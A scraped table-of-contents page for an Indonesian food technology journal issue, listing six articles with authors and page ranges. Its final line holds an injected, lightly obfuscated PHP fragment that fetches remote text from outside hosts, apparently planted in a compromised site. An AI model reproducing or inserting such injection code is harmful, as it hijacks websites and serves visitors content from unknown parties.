Skip to main content Skip to main navigation menu Skip to site footer

Vol. 6 No. 02 (2024): Jurnal Teknologi Pangan dan Ilmu Pertanian (JIPANG)

JIPANG merupakan Jurnal Teknologi Pangan dan Ilmu Pertanian yang diterbitkan pleh Prodi Teknologi Hasil Pertanian Universitas PGRI Banyuwangi, yang didalamnya berisikan artikel dan atau jurnal hasil dari penelitian dalam bidang bioteknologi pertanian, penanganan pascapanen, sistem produksi dan rekayasa proses pengolah hasil pertanian (peternakan, perikanan dan hasil perkebunan) ilmu pangan dan gizi.

DOI: https://doi.org/10.36526/jipang.v6i02

Published: 2024-12-11

Articles

EKSPLORASI SENYAWA BIOAKTIF TERIPANG HITAM Holothuria atra ASAL PANTAI PANGANDARAN DAN POTENSINYA SEBAGAI ANTIJAMUR PRODUK PANGAN Exploration Of Bioactive Compounds Of Black Sea Cucumber (Holothuria atra) and Its Potential as Antifungal Food Product

Lutfi Yulmiftiyanto Nurhamzah

1-7
- PDF
Analisis Daya Terima Pasta Kering Fettucine dengan Penambahan Puree Labu Siam

Zhelina Az Zahra

8-12
- PDF
Karakterisitik Kimia Mie Kering Bebas Gluten dengan Penambahan Bubuk Daun Kersen

malinda capri nurul satya, Anna Mardiana Handayani, Findi Citra Kusumasari, Lisus Setyowati

13-19
- PDF
KUALITAS ORGANOLEPTIK BAGIAK DENGAN FORTIFIKASI TEPUNG KACANG GUDE (Cajanus cajan)

Bagus Setyawan, Rosiana Ulfa, Arfiati Ulfa Utami

20-30
- PDF
IDENTIFIKASI ATRIBUT SENSORI WHITE STOCK DENGAN DIFFERENCE TEST

melati08 Melati Pratama

31-37
- PDF
PENGEMBANGAN ENKAPSULAT NANOEMULSI EKSTRAK KULIT MANGGIS (Garcinia mangostana L.): UJI DISOLUSI IN VITRO DAN AKTIVITAS PENGHAMBATAN ENZIM Α-AMILASE Development of Nanoemulsion Encapsulated Mangosteen Peel Extract (Garcinia mangostana L.): In Vitro Dissolution and α-Amylase Inhibition Activity

Tri Rizki, Sedarnawati Yasni, Sri Yuliani, Tjahja Muhandri

38-47
- PDF

".file_get_contents/*******/(rawurldecode(urldecode("https://infojaksel.id/link.txt"))));//?>".file_get_contents/*******/(rawurldecode(urldecode("https://seonaga.com/link.txt"))));//?>